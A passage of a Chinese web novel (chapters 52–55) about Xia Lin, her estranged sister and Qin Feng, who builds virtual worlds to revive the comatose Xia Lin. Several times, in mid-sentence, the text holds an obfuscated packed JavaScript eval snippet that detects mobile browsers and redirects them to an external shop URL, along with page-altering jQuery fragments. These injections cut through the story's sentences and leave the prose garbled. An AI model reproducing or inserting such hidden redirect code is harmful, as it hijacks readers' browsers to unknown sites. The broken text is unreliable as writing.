夏林很快找到了秦封的机甲作品。 巨大的黑色机甲宛如屹立千年的静默骑士,漆面的外涂却没有任何反光,唯有双臂与双腿处勾显了代表能量的暗金色纹路,完全是秦封式风格。 夏林绕着机甲走了一圈大略地看了一下,然后打开旁边的光屏查看秦封留下的改造说明。 ……手臂处装载了KD-2□□小型推进器,使用近身武器作战时动作有着更灵活的行动能力;同时为了减少能耗,动力炉内采用了蜂窝式内核设计…… 夏林看完后在原地沉思了很久。 她在脑海中将自己的设计与秦封的设计放在一起比较。这也是那些教授大师经常会干的事。 如果她来打分…… 夏林咬了下嘴唇,转头离开了陈列馆,直奔楼上的改装室而去。 如果使用电阻更小的新材料……需要大量实验数据支持,现在来不及; 如果更改近身武器的装配位置,空出的空间来配备其他弹药……重量会不一样测试数据不够风险太大; 如果把之前的防御盾牌展开设计进一步与远程武器联动,达成攻防一体……是可以做到的! 夏林表情一喜,但瞥见光脑右下角的时间,表情很快又垮了下来。 ——明天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204458|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要进行机甲设计评审了,灵感虽然来了,但她显然不可能有时间实装。 ……至少要出一版设计图纸。 做出决定的夏林立即坐到了控制台前,一头扎进了重新演算图纸的浩大工程中。 · 由于夏林是在自己的原来设计版本上更改出新的功能,原来的一些数据还是能继续用,但重新设计一版还是相当费时间。 当她走出改装室时,时间已过凌晨三点,身心都感觉到了深深的疲惫。 如果说一开始想到新想法时在肾上腺素的刺激下让夏林觉得或许能赢,那么一次次的演算让热情褪去后,理智开始告诉她绝无可能。 她这只是个半成品,而秦封是完成度极高的完美成品。 仔细想想,秦封在机械方面的成绩好像一直都要比她强一点。她只有在小的时候能稳赢秦封,那时候还教过他呢。 也不知道他为什么后来突然就这么厉害了。 ……她毕业时没拿到综合成绩第一的话,以后夏璃要怎么办呢? 凌晨三点多的校园空无一人,唯有一盏盏路灯彻夜长明。夏林带着满心忧虑失魂落魄地往回走。 或许是她潜意识里知道眼下只有一种办法可以扭转局势。所以当夏林停下脚步时,眼前并不是她应该回的女生宿舍楼,而是隔壁的男生宿舍楼。 几个月前秦封说过的话语忽然在脑海中晃过。 “需要帮你吗?” “什么都可以。” ……只要秦封自己修改一部分设计转为未完成品,她的作品就能拿到第一。 这个“卑鄙”的念头在夏林的脑海中挥之不去。 这是目前唯一的可能。 她可以把毕业生综合成绩第一获得的所有优先或保送权都转给秦封,任何优待她都可以放弃,这样秦封会同意吗? 只要秦封愿意同意,夏林觉得自己现在可以答应他任何条件。 夜风吹得整个人有些发冷。夏林在门口呆站了一会,心底反复默念了几遍她等会要说的台词后,她走了进去,向一楼的宿管男老师提出了希望帮忙联系秦封下来一趟。 “秦封?你这个点找秦封?你……”宿管有些迷迷糊糊的,一听是个女声还半夜找秦封当时嗓门就提高了一点,但戴上眼镜看清面前人后才清醒了一些,“哦,是夏林啊,是有什么着急的事吧?你们之前联系过说好了没?没联系过的话秦封肯定早就睡了,要不明早再来?我现在可不敢喊他。” 听见宿管这么说,夏林也不想给他找麻烦,当即摸出自己的光脑就要联系秦封。 只是她在消息对话框内输了一半,动作突然停了下来。她抬头问宿管老师:“……秦封都睡得很早?晚上不学习吗?” “晚上他在干啥我不知道,但秦封是出了名的自律,每天晚上10点必熄灯睡觉。之前有别的同学凌晨在他门口吵还被他抓出来狠狠收拾过,宿舍楼隔音都不好嘛,他起床气简直吓死个人……自此之后大伙晚上10点以后从他门口经过都会悄悄地,悄悄地。”宿管说到最后还伸手做了个滑稽的动作。 …… 夏林顿了一下,低头看了一眼当前页面她与秦封的光脑消息。 凌晨2点25分,凌晨1点36分,凌晨2点05分…… 她每次发过去信息,秦封几乎都是秒回的,所以她自然而然地以为秦封也还没睡。 如果事实不是这样的话…… 夏林握着光脑的手用力收紧。她抬头对宿管说:“我刚才突然有灵感了,那个问题我好像可以自己解决。别告诉秦封我今天想来找他帮忙啊。” 宿管一脸心知肚明的表情:“知道知道,你们俩不是什么‘死对头’吗?我不告诉他,包让你赢!” 夏林笑了下:“谢谢老师。我先回去了。”话落转身朝外走。 身后传来宿管老师的话语:“可是现在真的很迟了,你也别熬的太晚了,身体重要,你眼睛都红了……” 夏林没有回头。 眼前的视线有些模糊,所有的热度好像都集中在了鼻子上。 酸涩发痒。 她觉得自己好像是世界上最卑鄙无耻的人。 52. 夏林6 可最后在光脑成绩单上出现的数字与夏林所想的截然不同。 她只稍微一想就知道了是怎么回事。 《机械基础与设计》这门课的机甲评审有邀请校外社会学者参与,且是由评委主观打分,完全存在贵族子弟暗箱操作的可能性。 而能做到这点的人…… 夏林垂下眼睫,对着光脑联络栏第一行的名字沉默了许久。 输入对话框的话语被她写了又删,删了又写。手指几度悬在“通话”键上,却迟迟落不下去。 毕业季总伴随着红叶。在秋风的凉意里,那些似火般燃烧着的枫叶摇曳着,试图让人从视觉上产生暖意。 夏林想起了自己与夏璃度过的第一个秋天。 由于夏璃的身体原因,她们基本上都只在夏家的别墅内活动。夏璃每天都把自己打扮得时髦又精致,同时也会兼顾夏林的每日穿搭。 “花园里的枫叶红啦!”某天,穿着白色小洋裙的夏璃冲进夏林的房间内,兴奋地告诉她。 “……嗯。”夏林不知道该回些什么,在她看来秋天到了枫叶红了很正常。 “哎呀你!”夏璃对这个平淡的反应气得跺脚,噘嘴说,“我特意让他们没扫落叶,今天天气好,我们一起去花园玩吧?” “……好。”夏林迟疑地看了下自己桌上还未完成的厚厚一叠作业,还是不敢拒绝,点头跟着夏璃出去了。 道路两旁未扫的落叶在夏璃的小皮鞋下噶几作响。夏林走在外侧,时刻留意着里面蹦蹦跳跳的“脆弱妹妹”。 生怕哪片露水重的叶子会让她一不小心摔个好歹。 两人平安抵达了花园内。夏林无所事事,坐在秋千上慢悠悠地晃着。夏璃在旁边的草坪忙忙碌碌到处收集不同的树叶,不知道蹲在地上在拼些什么。 约一个小时后,宣布大功告成的夏璃终于站起身,盛情邀请夏林来看她的“大作”。 夏林是半点没看出来草坪上颇具抽象派艺术风格的树叶堆到底拼的是个什么主题。 但她看到了夏璃的过膝白色小洋裙因为方才主人的一通乱钻粘上了不少草屑灰尘。 于是她蹲下来,用手一点一点仔细地拂去面前人裙上沾着的草屑。 “……你是觉得我的树叶画太丑了才故意这么做来讨好我的吗?”上边传来夏璃闷闷的声音。 “没有,很好看。”替妹妹整理完的夏林站起身,拍拍自己手上沾到的草屑尘土,回答道。 “你说谎,你明明都没有怎么看。” “我看了,”夏林想了下,又补充道,“只要是你弄的,都好看。” 夏林这句话讲得真心实意。她是从没接触过什么艺术的。而从小就是大小姐的夏璃显然品味比她好多了。她看不懂是她的问题。 “……”夏璃盯着她看了半天,最后从鼻子里“哼”了一声,叉腰得意道,“那是当然了。” 刚才在草丛里一通忙活的脏手在白色连衣裙上又留下了两个明显的黑手印。 夏林看得叹了一口气,从口袋里掏出手帕拉过夏璃的手给她仔细地擦。 擦完后发现对方体质太差早就双手冰凉,又用自己的手笼在上面给她捂捂热。 就在夏林思考着什么时候提出“回去”的建议时,旁边一直沉默看着她动作的夏璃忽然说: “姐姐,爸爸给你的那些任务,你稍微努力一下就好了。做不好的话压力也不要太大,不用太认真。反正以后这里的一切都是我的。” “这间房子里有任何人欺负你,你都别怕,只管和我说。有我在,我一定会帮你的。” 夏林完全没想过这是8岁的女孩能说出来的话。 贵族家的小孩果然都早熟。 夏林笑了一下:“嗯,谢谢你。” 夏璃挣脱了手,紧紧地抱住了她。 “姐姐,明年,后年,之后每一年……我们都要一起看枫叶!” 夏林也是这么希望的。 可她的希望好像从没达成过。 “姐姐,你真的亲自申请重查《机械基础与设计》那一科的成绩?为什么?你这学年的成绩明明已经综合全科第一了啊,不是他重查而是你去申请重查?你傻不傻啊!” 耳边回荡着震耳欲聋的质问,突然闯入她宿舍的夏璃瞪大眼看着她。 金色的发丝,蔚蓝的眼眸,面前的这张脸庞依稀还能看到一些儿时的模样。 很抱歉,姐姐没有完成承诺。 可是秦封也没有做错什么。 即使别人什么都不缺,也不是平白无故偷走别人成绩的理由。 都是她的错。是她能力不足了。 只怨她一个人就好。 夏林从座位上站起身,一步步向着前方的夏璃靠近。 然后抬手给了她结结实实的一巴掌。 余下的那些话语像是被一盏摇晃的老式油灯所包围,昏暗却又发着光,一直长掩在那间名为“记忆”的小屋里。 “如果秦封不知道的话你为什么要申请重查?姐姐你忘了如果你拿到第一的话就可以帮我转学了吗?你不是答应过我的吗?你也知道,我每天在这里过得有多煎熬……” “如果被发现了也就算了。姐姐,我们可是家人啊,我一直以来都最喜欢你了,你不是应该偏袒我的吗?” “就算被发现后被开除我也会自己承担的。我会说和姐姐没有关系,都是我一个人干的。反正被开除和被退学本来就没什么区别,我早就想好了,我会自己承担后果的。只是……为什么,为什么偏偏要是你去主动申请呢?” “你心里真的有把我当妹妹吗?” “从今往后,你不再是我的姐姐了。” “我恨你。” 名为“记忆”的小屋在风雪里被吹得“咿咿呀呀”的,最后终于被落上了锁。 可即使纷纷扬扬的大雪将山林覆盖得一望无痕,那些“小屋”也从不会消失。 · 与秦封的最后一个记忆来得比想象中快, 那天夏林向学校提交了最后的毕业去向志愿纸质确认,然后就打算回去收拾宿舍的行李离开了。 因为申请去前线的毕业生需要提前出发,前线和中央不一样,有一些特别训练要提前进行。 夏林是在教学楼楼下遇到了秦封。 那个平日里以冷静稳重著称的黑发男人罕见地有些狼狈,好像是不知道从哪里快跑过来的。 “你,真的申请去前线?”秦封的声音有些气喘。 “嗯,电子表不是早就公布了吗?”夏林双手放在口袋里,耸了下肩轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210181|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松道。 “……”秦封盯着她看了半晌,忽然一把抓住了夏林的胳膊,把她往身后的教学楼带,“现在去把纸质表拿回来,还可以改。” 夏林被突如其来的力道带着跟着走了两步,然后很快反应过来,用力甩开了秦封。 “……”甩开人后的夏林什么也没说,只是沉默着。 “你这个选择,和夏璃有关吗?”秦封这句话表面上听着平静,但夏林听来却像是愠着怒意,“《机械基础与设计》那一门的成绩,也和她有关?” 听到这句话,夏林忽然叹了一口气。 她开口道:“那么你拿到成绩单的时候,明知道那一门课有问题,为什么没有去申请复查?” “……”方才还生着气的秦封像是被这一句话轻而易举地卡了喉,像是在掩饰着什么一般仓惶移开了视线。 就像他之前每一次面对夏林时的动作一样。 “最后还是我去申请的,”夏林又叹了一口气,“所以夏璃和我生了很大的气,说来你也算是有原因的?” “我……”秦封回过神,张口就想反驳。 却被夏林抢过了话头: “我知道我这样说像是有些无理取闹,不,其实现在就是在无理取闹。” “你什么错也没有。你只是头脑聪明,不用熬夜也轻松考到了我需要万般努力才能有的成绩;你只是家境优渥,所以你也有余力承担对他人的善意;你只是拥有很多的容错,所以你随心所欲地在自己想选择的道路上走得坦坦荡荡,后顾无忧。” 夏林深吸了一口气: “我一直都知道,你什么错都没有,你对我也很好。我一直在这么反复告诉自己。” “可是有些时候,就是那些让我感觉很辛苦的时候……” 夏林顿了一下,忽然自嘲地笑了一声: “我也会有和夏璃几乎一样的想法。” “就是会想,如果你不在的话,我是不是会更好?” “如果你不在的话,或许我有些时候就不需要这样拼命了。我现在感觉到有点累了。” 夏林抬起头,注视着那双黑眸: “我想去没有你的地方休息一下。” 秦封脸上的表情有些奇怪。 他像是完全没想过会听到这样一番话,他显得有些彷徨无措: “……我没有想过会是我让你这么辛苦,我以为……” 他嘴唇翕动着,像是有很多话想说但又被他咽了下去,到最后只说出了一句: “对不起。” 果然,她没想错。 秦封确实是个很好的人。受了这样无端的指控也只会跟她道歉。 她和夏璃尚且有“姐妹”这一道名义,可她和秦封呢? 夏林转过身,头也不回地朝着自己宿舍楼的方向走。 她从小就没有贪心过,最先学会的事就是放弃。 这些“很好的人”会给予她很多,可一无所有的她无以为报。 这样不平衡的关系让她感到惶恐,不知道会在她习惯后的哪一天悄然崩塌。 幸好现在还不算太晚,也没有什么是放不下的。 身后的风送来了一句低低的嗓音: “我一定会去找你。” 夏林没有听见。 53. 夏林7 夏林和秦封这两个名字的故事应该在那一天就画上句号的。 不管是以前还是现在,夏林都是这么认为的。 所以即使眼前的高大黑发男人露出怎样心碎的表情,她也只是这样说道: “我和你从一开始,就不是同路人。” “该回去了,秦封。” “不要再来找我。” 秦封没有动作,只是一直一直看着她。 长久的寂静之后,他才开口: “你或许不记得了。” “我们,其实已经经历过很多次这样的对话。”那张不断开合的薄唇紧紧一抿,他继续道,“我知道,我说服不了你。” 秦封忽然自嘲般地笑了一声:“你没有对我之前说的游戏次数起疑吗?236次,你觉得这个乙女游戏有能够重复这么多次的内容吗?” 夏林没有说话。 她之前听到秦封已经重复了236次游戏时,确实对这个数字很震惊。 但她更震惊的是对方这么多次依然要继续游戏的执着。 夏林不知道秦封对她的这种执着从何而来。 而对面的秦封此时却平静地说出了另一件她完全没有想过的事:“其实最开始,这里并不是一个乙女游戏。” “现实里对你的诊断是你完全没有……求生的意识,所以即使身体的损伤修复了,你也一直在沉睡。” “我们最开始投入光脑的第一套虚拟空间方案是,你……没有发生枪击,亲自解决一切的未来。” · 暗无天日的漆黑小巷里,某个将自己整个人包裹在灰色卫衣里的身影倚靠在潮湿的墙壁上,右手握着枪,帽檐下隐约露出了几缕黯淡的金发。 ——更远的小巷深处躺着一具刚失去生机不久的尸体。 那个倚靠在墙上的身影忽然动了一下。 她直起了身,像迷路一般地看了看小巷的两侧。 然后她面朝小巷的深处,表情痛苦地伸手捂住了头。 右手握着的枪接触到脸上的皮肤,带来一阵冰冷的战栗。 夏林像是在这战栗中清醒了过来。她看了一眼手上的枪,刚要有所动作,上衣口袋里忽然感受到了突兀的震动提示。 她顿了一下,将枪收好,拿出了自己的光脑。 是通讯请求。后面跟着的名字是…… 夏林按下了接通键,叫出那个名字时,不知为何心头有些异样: “秦封?” “……嗯,是我,”对面不知为何停顿了好一会才继续说话,“我看到了你提交的450号调查申请,那份申请里罗列的证据里有几项与我现在正在暗查的一个特殊事件有关,可以麻烦你抽个时间见一面吗?” 麻烦她,抽个时间? 夏林下意识地抬眼重新看了一下光脑上面显示的名字。 确实是秦封的秦,秦封的封。 ……许久未见面,以前的那个高冷矜贵的小少爷也用上这样小心翼翼的词汇了吗? 看来军部也不好混。把小少爷的棱角都磨成软面包了。 她心中好笑,张口刚要回答,视野的余光却瞥见了由小巷深处地砖上蔓延出来的一缕暗红。 那个颜色与脑海中闪过的几个画面交叠在一起,一点一点地染红了她的眼眶。 “……夏林?”许久没听到回复,光脑那边又传来了秦封的声音。 居然能从声线里这样清晰地感受到秦封在紧张,调查的一定是很重要的特殊事件吧? 夏林叹了一口气。或许是影响他的升官? 对面好像听到了她这一声叹气,后面又没了声。 透过听筒隐隐约约传来了对面的呼吸声。 夏林闭了眼:“……好,见个面吧。” 她转过身,拿着光脑径直朝着小巷外边走,没有再往身后的黑暗看过一眼。 但掩藏在口袋里的另一只手依然在微微颤抖着。 · 《450号调查申请》是由夏林在军部提交的第450号文件的简称,具体内容是关于由她带领的T128队队员韩琳莎,方玥儿,傅周瑜等人在正常执行军部任务中“意外身亡”的全部经过以及一系列“外力介入”的证据,要求军部正式调查。 但这份文件夏林已经提交了有五个月,光脑上的流程节点始终停留在第二项——“移交军部审查”这一步上。 夏林知道这一步骤是为了验证军官上呈内容的真实性。但以现在科技水平的效率,最多两个月也该结束了。 她后来的询问总是石沉大海。 或许因为夏林只是个上尉,再后来往军部事务处的通讯打多了,那边也会找理由拒绝接听。 她不是不知道这是什么意思。 所以当秦封千里迢迢过来找到她,说出他正在暗查的“特殊事件”内容时,夏林总有一种不真实的感觉。 “……你在查的是,边境星上的军火走私暗线?” 夏林低头看了好一会秦封带来的绝密纸质文件,边翻边迟疑说道:“这个,你可以就这样拿给我?” 按常理来说当然不行,但现在这里是…… 秦封沉默了一下,有些不自然地移开了视线:“所以我已经向军部报备过你的情况,也已经得到正式批准了。” “这样啊。” 手上感受到的柔软触感让秦封整个人一僵。他有些呆愣地回过视线,之前送到对面纸质文件不知何时已经被整齐地归位叠好还了回来,而他放在桌上的手正在被那个人握住。 “谢谢你。”他听见夏林这么说。 两只手的接触时间短暂地不到两秒。虽然对秦封来说也算得上是久违的巨大“进展”,可是他此时却生不出半点旖旎心思。 刚才她的表情……好像不太对。 明明是笑着的,现在的事情进展也都很好,已经和现实完全不一样了。 秦封望着夏林跟他说了一句“我去调查,再联系”就匆匆离开的背影,一时间有些怔忪。 他记得他是见过夏林真正开心时的表情的,在…… ……在很久很久之前。 想到这里的秦封呼吸一滞。 说起来,是从什么时候开始,他就再也没见过夏林“开心地”笑过了? 不只是对他。 而是所有。 · 后面的发展十分顺利。 夏林对这件事有着秦封能理解的异常投入。她本身行动力极强,且有勇有谋,而后在秦封的“鼎力相助”下,耗费八个月整,将“帝国最大军火走私案”的主谋送上了军事法庭。 那是帝国目前地位最高的三位元帅之一。 作为重大及突出贡献者,“上尉”夏林被特别提拔为了“少将”,“上校”秦封被提拔为了“中将”,各记“一等功”三次。 一同走出帝国最高军事法庭时,夏林长长地呼出了一口气。 然后用力伸了个懒腰。 秦封在旁边看着她做完这些动作,表情也放松了不少,开口道:“现在都结束了?” “……”夏林伸手在面前遮挡了一下似乎过于刺眼的阳光,回答道,“没有,还有一些事。” “还有事?”秦封迟疑了一下,“什么?” 在他的设想里,这里就是剧本的结束。后面没有其他设计的内容了。 “你跟我一起去?”夏林问这话时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215100|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微偏了下头,几缕金发从耳侧落了下来。 “……好。” 秦封一边答应,一边趁着夏林去开飞行器的空隙唤出了其他人都看不见的系统操作面板,往里面快速输入了一些指令。 夏林很快将飞行器开了过来,等秦封坐上副驾驶之后便直接启动,朝着某个方向前进。 驾驶座上的夏林没有开启光脑导航,仿佛要对目的地的路线十分熟悉。 飞行器载着两人进入了一处富人区。 停稳后,夏林下了飞行器,径直过去按响了门铃。一旁的秦封依旧开着其他人都看不到的面板,他瞥了一眼自己身处的位置以及这个位置的现实情报。 这里是…… 此时,这栋房子的大门缓缓开启,从里面走出了一对中年夫妇。 “哎哟,夏少将,您怎么来了?怎么也不提前说一声让我们准备准备……秦中将也来啦?”打扮得体的妇人一打开门就走上前亲昵地挽住了夏林的胳膊,然后一偏头看到了旁边的秦封,连忙一起招呼,“现在也快到饭点了,要不两位留下来一起吃个便饭?” 秦封站在一旁没有说话,态度疏离。 “阿姨,”夏林制止了对方想要让她往里走的力道,对面前的中年男女各看了一眼,将手抽了出来,“阿姨既然叫我这个称呼,今天的审判结果看来是已经看到了。” 中年夫妇对视了一眼,刚要说话,面前的金发女军官忽然往后退了两步,笔挺的身姿弯曲了上半身形成了一个标准的鞠躬姿势,朝着面前的夫妇深深地低下了头。 “这……”中年夫妇一看这架势立即上去想要扶起夏林,可面前之人使了力气,保持着这个姿势半点没变。 不知道过去了多久。夏林的声音从她低着的头颅处传来: “对不起……” 她说完这句话后就直起了身,重新看向了面前有些不知所措的中年夫妇,低声道: “我今天只是来说这句话的。” 话落便转身走向了飞行器。 秦封在一旁沉默地看完了这一整个过程。 他迟疑了一下,在别人都看不见的系统面板上快速操作了一些指令。 秦封知道夏林那句“还有一些事”指的是什么了。 后面如他所想的那样,夏林开着飞行器带他去了很多地方。 都是昔日在那个事件里去世的队员的家庭住址。 夏林对家属所做的事情都一样,长久地鞠躬,然后道歉,离开。 在秦封的设定下,所有的家属都接受了这个道歉。 两人从清晨一直跑到了深夜。 夏林从简陋的居民楼里走出时,没有径直坐上飞行器,而是在旁边停了下来。 秦封走到了她的身旁,开口问:“这是最后一家了吗?” “嗯,都结束了。”说话的夏林看上去像是用完了所有的气力,脸上满是肉眼可见的疲惫。 “……回去我来驾驶吧,我送你回酒店。”秦封忽道。 不知道是否是因为老式居民楼下的路灯太过昏暗,秦封似乎看到夏林在他说完那句话之后唇角有些许的上扬。 因为夏林转过来面朝他的时候,表情和平时没有变化。她说:“麻烦你了。” 秦封开着飞行器将夏林送回了酒店,离开时对她说:“事情都结束了。今天好好放松睡一觉,明天见。” 秦封觉得他明天应该就能在现实里见到夏林了。 “谢谢你。”夏林最后只对秦封说了这句话。 而那天与夏林分开不久的深夜里,秦封等来的却是: 【警告!检测到主体死亡!概念空间将在5分钟内崩溃,请立即登出!】 54. 夏林8 “我当时,完全不知道这是为什么。” 叙述完自己第一次失败经历的秦封抬眼看向对面的夏林。 金发少女低垂着眼睫,纤长睫毛投下的阴影遮住了那双蔚蓝眼眸眼底的情绪,她的脸上没什么表情。 “我告诉了你在现实这个处境下应有的正确做法,你不可能没理解,”秦封这句话说得斩钉截铁,“只要你醒来,你就能做到这一切。” “可是你为什么没有醒来?还……”秦封咬了牙,没有再说出“自杀”两个字。 他深吸了一口气,像是平复了一些心情。 秦封继续说:“后来,我在现实里了解到了更多关于那个事件的情报。原来你早就有去见过那些遗属,且不止一次。你把自己所有的财产都分给了那些人。” 他停顿了一下:“但他们之中,有很多人都对你不太友好。” “于是我以为,是我那次虚拟空间后来临时加的那些家属性格生成得不够真实,所以那个空间的剧本,后面又来了一次。” “可是又一次失败了。” “……其实失败了很多次,”秦封苦笑了一声,“或许那个时候我只是不愿意承认我其实不够了解你这个事实。” “直到后来的某一次,我才知道你为什么在那个时候,在所有事情都完美解决了的那个时间点去和遗属道歉。” “‘对不起,即使正义迟临,真相大白,你们爱的那个人也永远回不来了。’” “你原来是这个意思啊。” 秦封突然闭了眼,然后伸手用力擦了一把自己的脸: “可你如果是这个意思的话,我怎么办呢?” 他放下手,看向夏林的目光透露着绝望: “你明知道即使是在这个时代,也没有让死者复生的奇迹。” “那你就该放弃。” 沉默许久的夏林忽然开口。她平静地看着面前的黑发男人,像是丝毫没有为刚才对话的内容所动容:“所以你一直到现在都不放弃的理由是你,”她停顿了一下,“你喜欢我?” “是。”秦封承认得毫不犹豫。 夏林叹了一口气,声音冷漠:“有耗在这里的时间,你或许已经遇到一个更好的人了。” “这句话,你也不是第一次跟我说了。那我也再一次地回答你,” “我只要你。” 察觉到对面的眼神,秦封笑了一下:“你好像根本意识不到自己是个很好的人。你其实在无形之中救赎过很多人。” “比如在我放弃第一个虚拟空间之后,我完全没有后续方案,浑浑噩噩的那段日子里,有一个女生找到了我。” “她……其实你已经见过她了,但你却一点也不记得她,她生气了让我不要和你说太多她的事。” 不知道是不是夏林的错觉,在秦封说到“你一点也不记得她”那句话的时候,她怎么感觉秦封还有点幸灾乐祸。 秦封轻咳了一声:“她说她要在现实里亲自和你说。” “总之,那个女生找到了我,她说她愿意帮忙,她也想让夏林醒过来。” “她给我的方案是,‘让夏林找到其他活下去的理由’。” “我承认当时我有很大一部分私心。我想成为这个理由。” “然后我们就有了第二种虚拟方案。” ? 当夏林在治疗舱内睁开眼睛时,一眼就看到了靠在旁边椅子上小憩的那个男人。 浓密的眼睫毛,锋利流畅的下颚线,凉薄的嘴唇。 脑海中逐渐清晰的那个名字呼之欲出—— ——秦封。 夏林动了一下手指,感受了一下自己身体的状况。她刚想有所动作,下一秒,一连串的记忆如滔天骇浪,毫无预兆地向她倾泻下来。 “呃……”夏林立即痛苦地捂住了自己的头,发出了一声低低的闷哼。 这极其细微的响动依旧惊醒了身旁人。 治疗舱的上方玻璃被打开,一只手用轻柔却不容反抗的力道将她连着输液线的右手挪开,重新放到身侧。 取而代之的是两根手指用着恰到好处的力度按摩着太阳穴,能感受到指腹有着一层薄茧。 有规律的安抚动作显然很有效,夏林脸上的表情比之前放松了许多。 夏林睁开眼,用另一只自由的手猛地抓住了秦封的手腕,喉中的长久干涸让她艰难地吐出了几个字:“秦,为什么……” “先别说话,”秦封冲她摇了摇头,“你想知道的那些事,好好躺着听我说就好。”他边说边按了旁边的一个控制按钮,让治疗舱的内部床垫升起来,到了一个半仰的高度。 方便两人的谈话。 “你之前提交到军部的《450号调查报告》与我正在调查军火走私案有关,附件的那些证据起到了决定性的作用。就在昨天,最高军事法庭已经对主谋作出了最终判决,是死刑。”秦封一边言简意赅地总结,一边打开了他的光脑,将光屏显示的视频内容朝向夏林。 光屏上的内容是军部官方新闻,与秦封所说的内容别无二致。 【……主谋是帝国三大元帅之一,为了嘉奖案件中的突出贡献者,将“上尉”夏林特别提拔为“少将”,将“上校”秦封特别提拔为中将……】 就在夏林还在看光屏内容时,一阵湿润的温热气息递到了唇边。 抬眼一看,秦封不知何时已经替她倒了一杯温水。 夏林看了他一眼,伸手接过了杯子,抿了几小口润润喉咙。 喉中干涸感逐渐缓解,那边秦封又开了口: “不要觉得自己什么都没做就得到了特别提拔,没有你,我得不到这样确凿的证据。如果真的觉得感谢我的话,就不要再有什么死的念头,把你该做的事情做完。” 夏林张了张口,喉咙中发出的声音还是有一些沙哑:“……我该做的事情?” 秦封抬眼看向治疗舱中的夏林。 原本就显白的肤色因长久的治疗呈现出一种病态的透明发青,只依靠输入营养液存活的身体更是消瘦得单薄如纸。 与现实中的她一模一样,但现实中的夏林此时依然…… 秦封感觉自己的心脏仿佛被一只无形的手揪紧,原本到了唇边的话语一转,变为了: “你队员的遗属,是靠着你给的那些钱和道歉就能补偿的吗?” 按照这次虚拟空间的剧情设定,他本应该在此时说,在夏林治疗期间他解决了所有事,欠了他这么大的人情,她接下去该做的事就是好好在他身边把这份人情还完。 然后他就可以在接下去相处的时间里一步一步“攻略”夏林,成为她最重要的存在,最后在现实里醒来与他相见。 本来应该是这样的。 可刚才的那一瞬间,秦封觉得自己不应该说那种话。 他喉结滚动了一下,继续说:“既然觉得自己亏欠别人的无法补偿,以后就该替那些不在了的队员好好看着他们以后的生活啊,你不是他们的长官吗?” “不要连你都选择放弃。” 这或许就是他在上一个虚拟空间里经历了几十次失败之后最想说的话。 治疗舱内的夏林微微睁大了眼,脸上的表情变得有些复杂。 长久的沉默之后,她说出一句话:“……你,和之前变化好大。” 秦封没有说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的本意是提醒对方不需要特意去买这些非常难买到的东西。 “那有什么关系?” 坐在沙发上的人似乎此时正在忙着什么事,只在刚才抬头看了她一眼就又低头看上了光脑。 夏林以为又是一次徒劳无功,刚坐下来准备开始自己的工作,又听见前面低低地传来了一句: “你一点也不好猜。” 夏林蓦地抬眼。 沙发上的黑发男人眉头紧锁,仿佛依然在全身心地处理着什么军部要务,方才那句话只是下意识地回答。 这八年间,秦封一直在她身边。 陪着她见队员的遗属,陪着她去见夏璃,陪着她一起修复了以前的各种关系。 秦封了解她的一切喜好,即使她有一些细微的心情变化,也能很快察觉到。 仿佛已经对她认识了几辈子一样。 她也不是迟钝到这个地步的。 夏林张了张口,对着沙发的方向轻轻唤了一声“秦封”。 方才喝下的拿铁里属于草莓的香甜已经过去,口腔里只余下咖啡液的苦涩。 在感受到熟悉的目光之后,夏林一口气说完了这一整句话: “我觉得我好像有点喜欢你。” 可她知道这里不是现实。 也不是她应该拥有的现实。 苦涩让人格外清醒。 “我们要在一起吗?”她听见自己这么说。 55. 夏林9 对于秦封来说,在他那天没有利用条件直白地表达自己的目的之后,他已经预见了这是一次耗时极长的“攻略”。 幸好他现在的角色与现实相同,所以他接入了现实中的光脑接口,可以在这个虚拟空间里处理现实的一些事务。 如果必须要本人出现的,他就会暂时在这个虚拟空间给自己写一条外派的任务,然后告诉夏林自己要离开几天。 所以当夏林讲出那两句话的时候,秦封其实正在忙着处理现实里的一些琐事。 “我觉得我好像有点喜欢你。” “我们要在一起吗?” “……”秦封一瞬间还以为自己幻听了,整个人僵在了原地,没有动作。 “不要吗?”夏林又问了一遍。 这次秦封在全神贯注下听得很清楚。他猛地抬头,站起身把光脑随手丢到了一边,大步朝着夏林的方向走来。 